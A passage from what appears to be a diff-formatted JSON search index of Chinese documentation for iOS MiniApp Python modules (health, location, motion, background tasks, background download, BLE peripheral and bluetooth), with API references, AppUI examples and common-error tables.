:只申请当前页面需要的类型,用户更容易接受。 读取数据 query_steps(start=None, end=None) — 返回步数整数,默认最近 24 小时。 query_heart_rate(start, end) — 返回 [{value, start, end}, ...],单位 bpm。 query_sleep(start, end) — 睡眠分析记录,默认最近 7 天。 query_weight(limit=10) — 最近体重 [{value, date}, ...],单位 kg。 query_workouts(limit=20) — 最近锻炼记录。 query_quantity(type_id, start, end, unit) — 通用数量查询。 import time\n\nend = time.time()\nstart = end - 86400\nsteps = health.query_steps(start=start, end=end) 写入 save_weight(kg, timestamp=None) — 保存体重样本到 HealthKit。 health.save_weight(70.5) 需先在 request_authorization 的 write 中包含 weight。 血压汇总 records = health.query_blood_pressure()\nsummary = health.summarize_blood_pressure(records)\n# count, latest, systolic/diastolic avg/min/max — 不做诊断 常见错误 错误写法 后果 修正 `read=[\"step_count\"]` 或 `read=[\"HKQuantityTypeIdentifier...\"]` 类型名错误,授权会返回 `False` 使用文档列出的 snake_case 类型 `read=[\"blood_pressure\"]` 依赖组合别名 不同系统对血压组合授权表现不一致 使用 `blood_pressure_systolic` + `blood_pressure_diastolic` 一次申请所有权限 用户易拒绝 只申请当前需要的类型 健康明细写入 `storage` 敏感数据扩散 只展示汇总 对异常值做诊断结论 误导用户 仅展示原始/统计数据 相关文档 文档 用途 [permission](permission-module) 统一权限查询(HealthKit 用本模块授权) [storage](storage-module) 非敏感偏好存储 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 健康仪表盘配方 import appui\nimport health\n\n\ndef body():\n return appui.Form([\n appui.Section(\"健康\", [\n appui.Text(\"在授权后读取步数等指标并绑定到 State\"),\n ])\n ]) 预期效果:打开健康数据展示页;未授权时提示用户去系统设置授权。 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "location-module", + "title": "location", + "subtitle": "定位、指南针和地理编码。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/location-module/", + "text": "location 定位、指南针和地理编码。 iOS 原生模块 设备与传感器 GPS Heading Geocode location gps 定位 指南针 reverse geocode geocode location 定位与地理编码:申请权限、获取坐标、指南针方向,以及地址正反解析。 边界 :本模块提供 CoreLocation 与 CLGeocoder,不包含地图 UI。要在 AppUI 里画地图标记,请看 定位地图 Cookbook。 模块概览 项 说明 导入 `import location` 适合做什么 当前坐标、指南针、坐标转地址、地址转坐标 调用时机 定位放在按钮回调;`reverse_geocode` / `geocode` 走后台线程 推荐顺序 查/申请权限 → `start_updates` → `get_location` → `stop_updates` 用完即停 不需要持续定位时调用 `stop_updates()`;指南针同理用 `stop_heading()` 快速开始 下面脚本申请权限,读取一次当前坐标,并做一次逆地理编码: import asyncio\nimport time\nimport location\n\nif not location.is_authorized():\n location.request_access()\n time.sleep(0.5)\n\nif not location.is_authorized():\n print(\"位置权限未授权:\", location.authorization_status())\nelse:\n location.start_updates()\n try:\n time.sleep(1)\n loc = location.get_location()\n if loc:\n lat, lon = loc[\"latitude\"], loc[\"longitude\"]\n print(f\"坐标: {lat:.5f}, {lon:.5f}\")\n print(f\"精度: ±{loc['accuracy']:.0f} m\")\n\n place = asyncio.run(\n asyncio.to_thread(location.reverse_geocode, lat, lon)\n )\n if place.get(\"success\"):\n print(\"地址:\", place.get(\"name\") or place.get(\"city\"))\n else:\n print(\"地址解析失败:\", place.get(\"error\"))\n else:\n print(\"暂未获得坐标,请稍后重试\")\n finally:\n location.stop_updates() AppUI 示例 把定位、指南针、地址解析都放进按钮回调;界面只展示当前状态。地理编码在后台线程执行,避免主线程死锁。 import threading\nimport time\n\nimport appui\nimport location\n\nDEFAULT_LAT = 31.2304\nDEFAULT_LON = 121.4737\n\nstate = appui.State(\n auth=\"未查询\",\n status=\"点击按钮开始\",\n latitude=DEFAULT_LAT,\n longitude=DEFAULT_LON,\n accuracy=\"—\",\n heading=\"—\",\n place=\"—\",\n)\n\n\ndef _format_place(result):\n if not result.get(\"success\"):\n return result.get(\"error\", \"解析失败\")\n parts = [\n result.get(\"name\"),\n result.get(\"street\"),\n result.get(\"city\"),\n result.get(\"state\"),\n ]\n text = \" · \".join(part for part in parts if part)\n return text or str(result)\n\n\ndef refresh_location():\n auth = location.authorization_status()\n state.auth = auth\n\n if auth in (\"denied\", \"restricted\"):\n state.status = \"定位权限不可用,请到系统设置允许定位\"\n return\n\n if not location.is_authorized():\n state.status = \"正在请求定位权限...\"\n location.request_access()\n state.auth = location.authorization_status()\n if not location.is_authorized():\n state.status = \"请在系统弹窗中允许定位后,再次点击「刷新定位」\"\n return\n\n state.status = \"正在定位...\"\n location.start_updates()\n try:\n time.sleep(0.8)\n loc = location.get_location()\n if loc and loc.get(\"latitude\") is not None:\n state.latitude = float(loc[\"latitude\"])\n state.longitude = float(loc[\"longitude\"])\n state.accuracy = f\"±{float(loc.get('accuracy', 0.0)):.0f} m\"\n state.status = \"定位成功\"\n else:\n state.status = \"暂未获得坐标,请稍后再次点击「刷新定位」\"\n finally:\n location.stop_updates()\n\n\ndef read_heading():\n location.start_heading()\n try:\n time.sleep(0.5)\n heading = location.get_heading()\n if heading:\n magnetic = float(heading.get(\"magnetic\", 0.0))\n state.heading = f\"{magnetic:.0f}°\"\n state.status = \"指南针已更新\"\n else:\n state.heading = \"—\"\n state.status = \"暂未获得指南针数据\"\n finally:\n location.stop_heading()\n\n\ndef reverse_lookup():\n if state.status != \"定位成功\":\n state.status = \"请先点击「刷新定位」\"\n return\n\n state.status = \"正在解析地址...\"\n lat, lon = state.latitude, state.longitude\n\n def work():\n result = location.reverse_geocode(lat, lon)\n state.place = _format_place(result)\n state.status = \"地址解析完成\" if result.get(\"success\") else \"地址解析失败\"\n\n threading.Thread(target=work, daemon=True).start()\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"操作\", [\n appui.Button(\"刷新定位\", action=refresh_location)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"读取指南针\", action=read_heading),\n appui.Button(\"坐标转地址\", action=reverse_lookup),\n ]),\n appui.Section(\"定位\", [\n appui.LabeledContent(\"授权\", value=state.auth),\n appui.LabeledContent(\"纬度\", value=f\"{state.latitude:.5f}\"),\n appui.LabeledContent(\"经度\", value=f\"{state.longitude:.5f}\"),\n appui.LabeledContent(\"精度\", value=state.accuracy),\n appui.LabeledContent(\"指南针\", value=state.heading),\n ]),\n appui.Section(\"地址\", [\n appui.Text(state.place).foreground_color(\"secondaryLabel\"),\n appui.Text(state.status).font(\"caption\").foreground_color(\"tertiaryLabel\"),\n ]),\n ]).navigation_title(\"定位\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `authorization_status()` 查询授权 → 如 `authorized_when_in_use` `is_authorized()` 是否已授权 → `bool` `request_access()` 申请「使用期间」定位权限 `start_updates()` 开始接收位置更新 `stop_updates()` 停止位置更新 `get_location()` 读取最新坐标 → `dict` 或 `None` `start_heading()` 开始接收指南针更新 `stop_heading()` 停止指南针更新 `get_heading()` 读取指南针 → `dict` 或 `None` `reverse_geocode(lat, lon)` 坐标转地址 → `dict` `geocode(address)` 地址转坐标 → `dict` 权限 API 说明 `authorization_status()` 返回状态字符串,不弹窗 `is_authorized()` `authorized_when_in_use` 或 `authorized_always` 时为 `True` `request_access()` 弹出系统授权,申请「使用期间」定位 authorization_status() 常见值: not_determined — 尚未选择 authorized_when_in_use — 使用期间允许 authorized_always — 始终允许 denied / restricted — 不可用 if not location.is_authorized():\n location.request_access()\nprint(location.authorization_status()) 也可用 permission 统一查询:permission.status(\"location\")。 定位 start_updates() — 开始接收 GPS 更新。第一次读取前通常需要等待一小段时间。 get_location() — 返回最新坐标字典,暂无数据时返回 None。 import time\nimport location\n\nlocation.start_updates()\ntry:\n time.sleep(1)\n loc = location.get_location()\n if loc:\n print(loc[\"latitude\"], loc[\"longitude\"])\nfinally:\n location.stop_updates() 字段 说明 `latitude` / `longitude` 纬度 / 经度 `altitude` 海拔(米) `accuracy` 水平精度(米) `timestamp` Unix 时间戳 stop_updates() — 停止定位,省电。 指南针 API 说明 `start_heading()` 开始接收指南针更新 `get_heading()` 读取磁北、真北与精度 `stop_heading()` 停止指南针更新 import time\nimport location\n\nlocation.start_heading()\ntry:\n time.sleep(0.5)\n heading = location.get_heading()\n if heading:\n print(heading[\"magnetic\"], heading[\"true_heading\"])\nfinally:\n location.stop_heading() get_heading() 字段:magnetic、true_heading、accuracy。 注意 :指南针与 GPS 是两条独立更新流,分别启动和停止。 地理编码 reverse_geocode(latitude, longitude) — 坐标转地址。 geocode(address) — 地址转坐标。 import asyncio\nimport location\n\n\nasync def lookup():\n place = await asyncio.to_thread(location.reverse_geocode, 31.2304, 121.4737)\n coords = await asyncio.to_thread(location.geocode, \"上海市黄浦区\")\n print(place)\n print(coords)\n\n\nasyncio.run(lookup()) 成功时 reverse_geocode 通常带 success: True,并可能有 name、street、city、state、country、postal_code 等字段。geocode 成功时带 latitude、longitude。 注意 :不要在 App 主线程同步调用地理编码;否则会返回 code: 100 错误。MiniApp / AppUI 回调里用 asyncio.to_thread(...) 或后台线程。 AppUI MapView { map view} 在 AppUI 中用 appui.MapView 展示中心点与标记;先通过本模块拿到坐标,再在地图组件里绑定。完整示例见 定位地图 Cookbook。 常见错误 错误写法 后果 修正 主线程直接 `geocode` / `reverse_geocode` 返回 `code: -100`,可能死锁 用 `asyncio.to_thread` 或后台线程 未 `start_updates` 就读 `get_location` 返回 `None` 先启动更新并等待 0.5–1 秒 权限被拒后反复 `request_access` 用户烦躁、仍拿不到坐标 提示去系统设置,不要循环弹窗 用完不 `stop_updates` 持续耗电 读取完成后调用 `stop_updates()` 相关文档 文档 用途 [permission](permission-module) 统一查询 `location` 权限 [weather](weather-module) 按坐标或当前位置查天气 [定位地图 Cookbook](appui-cookbook-location-map) AppUI `MapView` 标记当前位置 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "motion-module", + "title": "motion", + "subtitle": "设备运动、陀螺仪、磁力计和气压计。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/motion-module/", + "text": "motion 设备运动、陀螺仪、磁力计和气压计。 iOS 原生模块 设备与传感器 Motion Gyro Altimeter motion accelerometer gyroscope attitude altimeter gravity motion 设备运动传感器:加速度、重力、陀螺仪、磁力计、姿态与气压高度。 边界 :传感器耗电;start_ 后必须 stop_ 。读取放在按钮回调或 Timer 轮询,不要在 body() 里启动采集。模拟器数据有限,真机测试更可靠;读取可能返回 None,需判空。 模块概览 项 说明 导入 `import motion` 适合做什么 运动仪表盘、倾斜检测、简单姿态反馈、气压变化 调用时机 `start_updates()` 后轮询 `get_*()`;停止时 `stop_updates()` 推荐顺序 `is_available()` → `start_*` → 采样 → `stop_*` 刷新频率 UI 展示 0.2–1 秒一次即可,不必 60Hz 重建界面 快速开始 下面脚本启动综合运动更新并读取数据: import time\nimport motion\n\nif not motion.is_available():\n print(\"当前设备不支持运动数据\")\nelse:\n motion.start_updates(interval=1 / 30)\n try:\n time.sleep(0.2)\n print(\"加速度:\", motion.get_acceleration())\n print(\"重力:\", motion.get_gravity())\n print(\"旋转:\", motion.get_rotation_rate())\n print(\"姿态:\", motion.get_attitude())\n finally:\n motion.stop_updates() 单独使用气压计: import motion\n\nmotion.start_altimeter()\ntry:\n print(motion.get_altitude()) # {pressure, relative_altitude}\nfinally:\n motion.stop_altimeter() AppUI 示例 开始/停止放在按钮回调;用 Timer 轮询采样,停止时关掉定时器。 import appui\nimport motion\n\nstate = appui.State(\n accel=\"—\",\n attitude=\"—\",\n status=\"点击开始采集\",\n)\n\n\ndef sample_motion():\n acc = motion.get_acceleration()\n att = motion.get_attitude()\n if acc:\n state.accel = f\"x={acc['x']:.2f} y={acc['y']:.2f} z={acc['z']:.2f}\"\n if att:\n state.attitude = f\"roll={att['roll']:.2f} pitch={att['pitch']:.2f}\"\n\n\npoll_timer = appui.Timer(interval=0.5, repeats=True, action=sample_motion)\n\n\ndef start_sampling():\n if not motion.is_available():\n state.status = \"设备不支持运动数据\"\n return\n motion.start_updates(interval=1 / 30)\n poll_timer.start()\n state.status = \"采集中…\"\n\n\ndef stop_sampling():\n poll_timer.stop()\n motion.stop_updates()\n state.status = \"已停止\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"采样\", [\n appui.Button(\"开始\", action=start_sampling)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"停止\", action=stop_sampling),\n ]),\n appui.Section(\"数据\", [\n appui.LabeledContent(\"加速度\", value=state.accel),\n appui.LabeledContent(\"姿态\", value=state.attitude),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"真机测试;停止时务必调用 stop_updates。\"),\n ]).navigation_title(\"运动传感器\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 是否支持运动数据 `start_updates` / `stop_updates` 综合 device motion `start_accelerometer` / `stop_accelerometer` 仅加速度计 `start_gyroscope` / `stop_gyroscope` 仅陀螺仪 `start_magnetometer` / `stop_magnetometer` 仅磁力计 `start_altimeter` / `stop_altimeter` 气压高度计 `get_acceleration()` 等 读取最新采样 启动与停止 start_updates(interval=0) — 综合采集(加速度 + 陀螺仪 + 姿态等)。interval 为秒,1/30 ≈ 30Hz;0 使用默认约 60Hz。 motion.start_updates(interval=1 / 10)\n# … 读取 …\nmotion.stop_updates() 各传感器可单独启停:start_accelerometer、start_gyroscope、start_magnetometer、start_altimeter。 读取 函数 返回 `get_acceleration()` `{x, y, z}` 或 `None` `get_gravity()` `{x, y, z}` 或 `None` `get_rotation_rate()` `{x, y, z}` 或 `None` `get_magnetic_field()` `{x, y, z}` 或 `None` `get_attitude()` `{roll, pitch, yaw}` 或 `None` `get_altitude()` `{pressure, relative_altitude}` 或 `None` 未启动对应 start_ 或硬件无数据时返回 None。 常见错误 错误写法 后果 修正 只 `start` 不 `stop` 持续耗电 `try/finally` 或按钮停止 在 `body()` 里 `start_updates` 刷新时重复启动 放进按钮回调 不判断 `None` 解包崩溃 先 `if data:` 高频重建大界面 卡顿 `Timer` 0.5s+ 或 Aurora 快路径 模拟器当真机 数据全零或不可用 真机验证 相关文档 文档 用途 [haptics](haptics-module) 运动反馈震动 [health](health-module) 步数等健康数据 [device](device-module) 设备信息与电量 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "background-module", + "title": "background", + "subtitle": "后台任务、保活与 BGTask 调度。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/background-module/", + "text": "background 后台任务、保活与 BGTask 调度。 iOS 原生模块 连接与后台 BGTask Scheduler background 后台任务 bgtask keep alive scheduler background 后台任务:申请延长执行时间、查询剩余时间、调度 BackgroundTasks。 边界 :iOS 后台时间有限(begin_task 约 30 秒);schedule_refresh / schedule_processing 需 App 配置对应 BGTask 标识符。不含 background_download 大文件下载。 模块概览 项 说明 导入 `import background` 调用时机 长任务前 `begin_task()`,结束 `end_task()` 适合做什么 保存前进度.flush、短同步、注册后台刷新 推荐顺序 `begin_task()` → 工作 → `end_task()` 状态 `app_state()`:`active` / `inactive` / `background` 快速开始 申请后台时间并查询剩余秒数: import background\nimport time\n\nif background.begin_task():\n try:\n print(\"应用状态:\", background.app_state())\n print(\"剩余秒数:\", background.remaining_time())\n time.sleep(2)\n finally:\n background.end_task()\nelse:\n print(\"无法申请后台任务\") 调度后台刷新(需工程内注册 identifier): import background\n\nok = background.schedule_refresh(\"com.myapp.refresh\")\nprint(\"已调度\" if ok else \"调度失败\") AppUI 示例 import appui\nimport background\n\nstate = appui.State(\n app_state=\"—\",\n remaining=\"—\",\n task=\"未开始\",\n)\n\n\ndef refresh_status():\n state.app_state = background.app_state()\n state.remaining = f\"{background.remaining_time():.1f}s\"\n\n\ndef start_task():\n ok = background.begin_task()\n refresh_status()\n state.task = \"进行中\" if ok else \"申请失败\"\n\n\ndef end_task():\n background.end_task()\n refresh_status()\n state.task = \"已结束\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"后台任务\", [\n appui.Button(\"申请延长执行\", action=start_task)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"结束任务\", action=end_task),\n appui.Button(\"刷新状态\", action=refresh_status),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"应用状态\", value=state.app_state),\n appui.LabeledContent(\"剩余时间\", value=state.remaining),\n appui.LabeledContent(\"任务\", value=state.task),\n ]),\n ]).navigation_title(\"后台任务\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `begin_task()` 申请延长后台时间 → `bool` `end_task()` 提前结束 `remaining_time()` 剩余秒数 → `float` `app_state()` `active` / `inactive` / `background` `start_keep_alive()` / `stop_keep_alive()` 音频保活(慎用) `schedule_refresh(id, earliest_date=0)` 调度 BGAppRefreshTask `schedule_processing(id, earliest_date=0, requires_network=False, requires_charging=False)` 调度 BGProcessingTask 延长执行 background.begin_task()\n# ... 短任务 ...\nbackground.end_task() earliest_date 为 Unix 时间戳;0 表示约 15 分钟后最早触发。 保活 start_keep_alive() — 启用后台音频会话以延长存活;会消耗电量,仅在有明确需求时使用。 常见错误 错误写法 后果 修正 `begin_task` 后忘记 `end_task` 浪费系统配额 用 `try/finally` 在后台跑长计算 被系统终止 拆任务或用 `schedule_processing` 未注册 BGTask 标识符 `schedule_*` 失败 在 Xcode 工程配置 与 background_download 混淆 能力不同 大文件下载用专用模块 相关文档 文档 用途 [background_download](background-download-module) 后台 URL 下载 [audio_session](audio-session-module) 音频会话(保活相关) [notification](notification-module) 本地提醒 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "background-download-module", + "title": "background_download", + "subtitle": "后台 URLSession 大文件下载。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/background-download-module/", + "text": "background_download 后台 URLSession 大文件下载。 iOS 原生模块 连接与后台 background_download background_download background-download background_download 后台 URLSession 大文件下载:App 进入后台后仍可继续,适合较大文件。 边界 :使用系统后台 URLSession,通过 task_id 轮询 status() 获取结果。前台小文件下载请用 network 的 download()。destination_path 需为 App 可写路径;下载启动放在按钮回调,不要在 body() 里自动发起。 模块概览 项 说明 导入 `import background_download` 适合做什么 大 JSON/媒体包后台拉取、断点续传式后台任务 调用时机 用户确认后 `download()`;用 `Timer` 或按钮轮询 `status()` 推荐顺序 `download()` 拿 `task_id` → 轮询 `status()` → 读 `path` 状态机 `running` → `completed` / `failed` / `cancelled` 快速开始 下面脚本发起下载并轮询状态: import os\nimport time\nimport background_download\n\ndest = os.path.join(os.path.expanduser(\"~/Documents\"), \"httpbin.json\")\n\ntry:\n task_id = background_download.download(\n \"https://httpbin.org/json\",\n dest,\n )\n print(\"任务:\", task_id)\n\n for _ in range(30):\n st = background_download.status(task_id)\n print(st.get(\"state\"), st.get(\"progress\"))\n if st.get(\"state\") in (\"completed\", \"failed\", \"cancelled\"):\n break\n time.sleep(1)\n\n if st.get(\"state\") == \"completed\":\n print(\"已保存:\", st.get(\"path\"))\n elif st.get(\"error\"):\n print(\"失败:\", st.get(\"error\"))\nexcept background_download.BackgroundDownloadError as exc:\n print(\"下载失败:\", exc, f\"code={exc.code}\") AppUI 示例 下载和轮询放在按钮回调;用 Timer 刷新进度状态。 import appui\nimport os\nimport background_download\n\nDEST = os.path.join(os.path.expanduser(\"~/Documents\"), \"demo-download.json\")\nURL = \"https://httpbin.org/json\"\n\nstate = appui.State(\n task_id=\"\",\n dl_state=\"空闲\",\n progress=\"—\",\n status=\"点击开始下载\",\n)\n\n\ndef poll():\n if not state.task_id:\n return\n try:\n st = background_download.status(state.task_id) or {}\n dl_state = st.get(\"state\", \"unknown\")\n prog = st.get(\"progress\", 0.0)\n state.batch_update(\n dl_state=dl_state,\n progress=f\"{float(prog) * 100:.0f}%\",\n )\n if dl_state == \"completed\":\n poll_timer.stop()\n state.status = f\"完成: {st.get('path', DEST)}\"\n elif dl_state == \"failed\":\n poll_timer.stop()\n state.status = f\"失败: {st.get('error', '未知错误')}\"\n elif dl_state == \"cancelled\":\n poll_timer.stop()\n state.status = \"已取消\"\n except background_download.BackgroundDownloadError as exc:\n poll_timer.stop()\n state.status = f\"查询失败: {exc}\"\n\n\npoll_timer = appui.Timer(interval=0.5, repeats=True, action=poll)\n\n\ndef start_download():\n try:\n task_id = background_download.download(URL, DEST)\n state.batch_update(\n task_id=task_id or \"\",\n dl_state=\"running\",\n progress=\"0%\",\n status=\"下载中…\",\n )\n poll_timer.start()\n except background_download.BackgroundDownloadError as exc:\n state.status = f\"启动失败: {exc}\"\n\n\ndef cancel_download():\n if not state.task_id:\n return\n try:\n background_download.cancel(state.task_id)\n poll_timer.stop()\n state.batch_update(dl_state=\"cancelled\", status=\"已请求取消\")\n except background_download.BackgroundDownloadError as exc:\n state.status = f\"取消失败: {exc}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"任务\", [\n appui.LabeledContent(\"状态\", value=state.dl_state),\n appui.LabeledContent(\"进度\", value=state.progress),\n appui.Text(state.task_id or \"—\")\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"开始后台下载\", action=start_download)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消\", action=cancel_download, role=\"destructive\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"需网络;大文件更适合后台下载。\"),\n ]).navigation_title(\"后台下载\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `download(url, destination_path, task_id)` 开始下载 → `task_id` `status(task_id)` `{state, progress, path, error}` `cancel(task_id)` 取消任务 `BackgroundDownloadError` 操作失败时抛出 download download(url, destination_path, task_id=None) task_id = background_download.download(\n \"https://example.com/file.zip\",\n \"/path/to/save.zip\",\n) 参数 说明 `url` 下载地址 `destination_path` 保存路径(App 可写) `task_id` 可选自定义 ID;省略时自动生成 UUID status status(task_id) 返回: 字段 说明 `state` `running` / `completed` / `failed` / `cancelled` / `unknown` `progress` 0.0–1.0(完成时为 1.0) `path` 目标路径(完成后有效) `error` 失败时的错误信息 建议轮询间隔 ≥ 0.5 秒。 cancel cancel(task_id) — 取消进行中的任务,状态变为 cancelled。 常见错误 错误写法 后果 修正 在 `body()` 里 `download()` 刷新时重复下载 放进按钮回调 `destination_path` 不可写 移动文件失败 用 Documents 等沙盒路径 不轮询 `status()` 不知道何时完成 `Timer` 或循环查询 小文件也用后台下载 过度复杂 前台用 [network](network-module) 相关文档 文档 用途 [network](network-module) 前台 HTTP / 小文件下载 [background](background-module) 后台任务保活 [storage](storage-module) 记录 task_id 等元数据 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "ble-peripheral-module", + "title": "ble_peripheral", + "subtitle": "BLE 外设广播模式。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/ble-peripheral-module/", + "text": "ble_peripheral BLE 外设广播模式。 iOS 原生模块 连接与后台 ble_peripheral ble_peripheral ble-peripheral ble_peripheral BLE 外设模式:让本机作为蓝牙外设广播,供其他设备(中心端)扫描连接。 边界 :与 bluetooth 中心端 (扫描/连接)互补——本模块做 外设广播 。需要蓝牙硬件开启;模拟器通常不可用。广播和 update_value() 放在按钮回调,不要在 body() 中自动启动。 模块概览 项 说明 导入 `import ble_peripheral` 适合做什么 传感器数据广播、简易 BLE 信标、与自定义中心 App 配对 调用时机 用户点击后开始 `start_advertising()`,离开页面时 `stop_advertising()` 推荐顺序 `start_advertising()` → `status()` 确认 → `update_value()` 推送数据 UUID `service_uuid` 必填;`characteristic_uuid` 省略时默认与 service 相同 快速开始 下面脚本启动广播、查看状态并停止: import ble_peripheral\n\nSERVICE = \"12345678-1234-1234-1234-123456789ABC\"\n\ntry:\n ble_peripheral.start_advertising(\n \"PyMiniApp\",\n SERVICE,\n initial_value=\"hello\",\n )\n print(ble_peripheral.status())\n ble_peripheral.update_value(\"ping\")\n print(ble_peripheral.status())\nfinally:\n ble_peripheral.stop_advertising() AppUI 示例 开始/停止广播放在按钮回调;用 try/except 处理蓝牙未开启。 import appui\nimport ble_peripheral\n\nSERVICE = \"12345678-1234-1234-1234-123456789ABC\"\nDEVICE_NAME = \"PyMiniApp\"\n\nstate = appui.State(\n advertising=False,\n name=\"—\",\n service=\"—\",\n payload=\"hello\",\n status=\"点击开始广播\",\n)\n\n\ndef refresh_status():\n try:\n st = ble_peripheral.status() or {}\n state.batch_update(\n advertising=bool(st.get(\"advertising\")),\n name=st.get(\"name\") or \"—\",\n service=st.get(\"service_uuid\") or \"—\",\n )\n except ble_peripheral.BlePeripheralError as exc:\n state.status = f\"状态查询失败: {exc}\"\n\n\ndef start_adv():\n try:\n ble_peripheral.start_advertising(\n DEVICE_NAME,\n SERVICE,\n initial_value=state.payload,\n )\n refresh_status()\n state.status = \"正在广播\"\n except ble_peripheral.BlePeripheralError as exc:\n state.status = f\"无法开始: {exc}(请开启蓝牙)\"\n\n\ndef stop_adv():\n try:\n ble_peripheral.stop_advertising()\n state.batch_update(\n advertising=False,\n name=\"—\",\n service=\"—\",\n status=\"已停止广播\",\n )\n except ble_peripheral.BlePeripheralError as exc:\n state.status = f\"停止失败: {exc}\"\n\n\ndef push_value():\n if not state.advertising:\n state.status = \"请先开始广播\"\n return\n try:\n ble_peripheral.update_value(state.payload)\n state.status = f\"已推送: {state.payload}\"\n except ble_peripheral.BlePeripheralError as exc:\n state.status = f\"推送失败: {exc}\"\n\n\ndef body():\n label = \"停止广播\" if state.advertising else \"开始广播\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"外设状态\", [\n appui.LabeledContent(\"广播中\", value=\"是\" if state.advertising else \"否\"),\n appui.LabeledContent(\"名称\", value=state.name),\n appui.LabeledContent(\"服务 UUID\", value=state.service),\n ]),\n appui.Section(\"数据\", [\n appui.TextField(\"特征值\", text=state.payload),\n appui.Button(\"推送特征值\", action=push_value),\n ]),\n appui.Section(\"操作\", [\n appui.Button(label, action=stop_adv if state.advertising else start_adv)\n .button_style(\"bordered_prominent\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"真机 + 蓝牙开启;中心端用 bluetooth 模块扫描连接。\"),\n ]).navigation_title(\"BLE 外设\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `start_advertising(name, service_uuid, ...)` 开始 BLE 广播 `stop_advertising()` 停止广播并清理服务 `status()` `{advertising, name, service_uuid}` `update_value(value)` 更新特征值并通知订阅方 `BlePeripheralError` 操作失败时抛出 start_advertising start_advertising(name, service_uuid, characteristic_uuid=None, initial_value=None) ble_peripheral.start_advertising(\n \"SensorHub\",\n \"12345678-1234-1234-1234-123456789ABC\",\n characteristic_uuid=\"ABCDEF00-0000-0000-0000-000000000001\",\n initial_value=\"42\",\n) 参数 说明 `name` 广播本地名称 `service_uuid` 服务 UUID `characteristic_uuid` 特征 UUID;省略时用 service UUID `initial_value` 初始特征值(UTF-8 文本) 特征支持 read / write / notify。 status status() 返回: 字段 说明 `advertising` 是否正在广播 `name` 当前广播名称 `service_uuid` 服务 UUID update_value update_value(value) — 更新特征值(UTF 8 字符串),并向已订阅的中心端发送通知。须先 start_advertising()。 异常 `code` 含义 `unavailable` 蓝牙未开启 `invalid_input` 缺少 `name` / `service_uuid` `invalid_state` 未广播时调用 `update_value` 常见错误 错误写法 后果 修正 在 `body()` 里 `start_advertising()` 刷新时重复广播 放进按钮回调 模拟器测试 蓝牙不可用 用真机 与 [bluetooth](bluetooth-module) 中心模式混淆 调错 API 扫描连接用 `bluetooth`,广播用本模块 页面离开不 `stop_advertising()` 持续耗电 停止按钮或生命周期回调里清理 相关文档 文档 用途 [bluetooth](bluetooth-module) BLE 中心端扫描/连接/读写 [permission](permission-module) 蓝牙权限状态查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "bluetooth-module", + "title": "bluetooth", + "subtitle": "BLE 扫描、连接、服务发现和特征读写。", + "section": "iOS 原生模块 / 连接与后台", + "url": "pages/bluetooth-module/", + "text": "bluetooth BLE 扫描、连接、服务发现和特征读写。 iOS 原生模块 连接与后台 BLE Scan Characteristic bluetooth ble scan service characteristic base64 bluetooth BLE 中心模式:扫描外设、连接、发现服务、读写特征值。 边界 :面向低功耗蓝牙 中心端 (扫描/连接其他设备),不是普通 HTTP/WebSocket 网络。若要让本机被扫描,请用 ble_peripheral。需要蓝牙硬件与系统授权;扫描、连接放在按钮回调,不要在 body() 里自动执行。 模块概览 项 说明 导入 `import bluetooth` 适合做什么 传感器读取、Beacon 探测、自定义 BLE 外设通信 调用时机 `scan` / `connect` / `read` / `write` 放在按钮回调 推荐顺序 `state()` → `scan()` → `connect()` → `discover_services()` → 读写 → `disconnect()` 数据格式 `write()` 传 Base64 字符串;`read()` 返回 Base64 快速开始 下面脚本检查蓝牙状态并扫描 5 秒: import bluetooth\n\nprint(\"状态:\", bluetooth.state())\nif bluetooth.state() == \"powered_on\":\n devices = bluetooth.scan(duration=5)\n for d in devices:\n print(d.get(\"name\"), d.get(\"uuid\"), d.get(\"rssi\"))\nelse:\n print(\"蓝牙不可用,请到设置中开启\") 连接并发现服务: import bluetooth\n\nif bluetooth.state() == \"powered_on\":\n devices = bluetooth.scan(duration=5.0)\n if devices:\n uuid = devices[0][\"uuid\"]\n result = bluetooth.connect(uuid)\n if result == 